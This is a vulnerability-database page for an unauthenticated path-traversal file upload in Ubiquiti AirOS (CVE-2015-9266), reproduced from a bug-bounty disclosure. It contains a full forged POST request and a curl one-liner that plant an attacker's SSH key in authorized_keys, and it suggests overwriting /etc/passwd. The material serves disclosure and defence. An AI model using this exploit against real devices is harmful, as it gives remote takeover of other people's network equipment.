AirOS 6.x - Arbitrary File Upload
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2015-9266 | 15 Apr 201600:00 | – | circl | |
| Ubiquiti Multiple Products Arbitrary File Upload (CVE-2015-9266) | 29 Sep 202100:00 | – | checkpoint_advisories | |
| CVE-2015-9266 | 5 Sep 201821:00 | – | cve | |
| CVE-2015-9266 Ubiquiti airOS HTTP(S) unauthenticated arbitrary file upload | 5 Sep 201821:00 | – | cvelist | |
| Ubiquiti Inc.: Arbritrary file Upload on AirMax | 1 Jul 201513:59 | – | hackerone | |
| Ubiquiti airOS Arbitrary File Upload | 13 Feb 201600:00 | – | metasploit | |
| CVE-2015-9266 | 5 Sep 201820:29 | – | nvd | |
| Directory traversal | 5 Sep 201820:29 | – | prion |
EDB-Note Source: https://hackerone.com/reports/73480
Vulnerability
It's possible to overwrite any file (and create new ones) on AirMax systems, because the "php2" (maybe because of a patch) don't verify the "filename" value of a POST request. It's possible to a unauthenticated user to exploit this vulnerability.
Example
Consider the following request:
POST https://192.168.1.20/login.cgi HTTP/1.1
Cookie: $Version=0; AIROS_SESSIONID=9192de9ba81691e3e4d869a7207ec80f; $Path=/; ui_language=en_US
Content-Type: multipart/form-data; boundary=---------------------------72971515916103336881230390860
Content-Length: 773
User-Agent: Jakarta Commons-HttpClient/3.1
Host: 192.168.1.20
Cookie: $Version=0; AIROS_SESSIONID=7597f7f30cec75e1faef8fb608fc43bb; $Path=/; ui_language=en_US
-----------------------------72971515916103336881230390860
Content-Disposition: form-data; name="keyfile"; filename="../../etc/dropbear/authorized_keys"
Content-Type: application/vnd.ms-publisher
{{Your Public Key HERE}}
-----------------------------72971515916103336881230390860--
The web server must filter the file name ../../etc/dropbear/authorized_keys to just authorized_keys or return a 404. But the AirMax just received the file, overwriting the original (creating if don't exist) in the process. In this case the attacker are uploading arbitrary public ssh keys, but it can be used to upload configurations, or "/etc/passwd"...
Consequences
It's possible to take control over any AirMax Product with simple forged http POST request, what it disastrous.
Reproducing
With a simple command:
curl -F "[email protected]/id_rsa.pub;filename=../../etc/dropbear/authorized_keys" -H "Expect:" 'https://192.168.1.20/login.cgi' -k
Of course if the ssh is disabled you can overwrite /etc/passwd and/or /tmp/system.cfg.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Feb 2019 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 39.8
CVSS 210
EPSS0.73999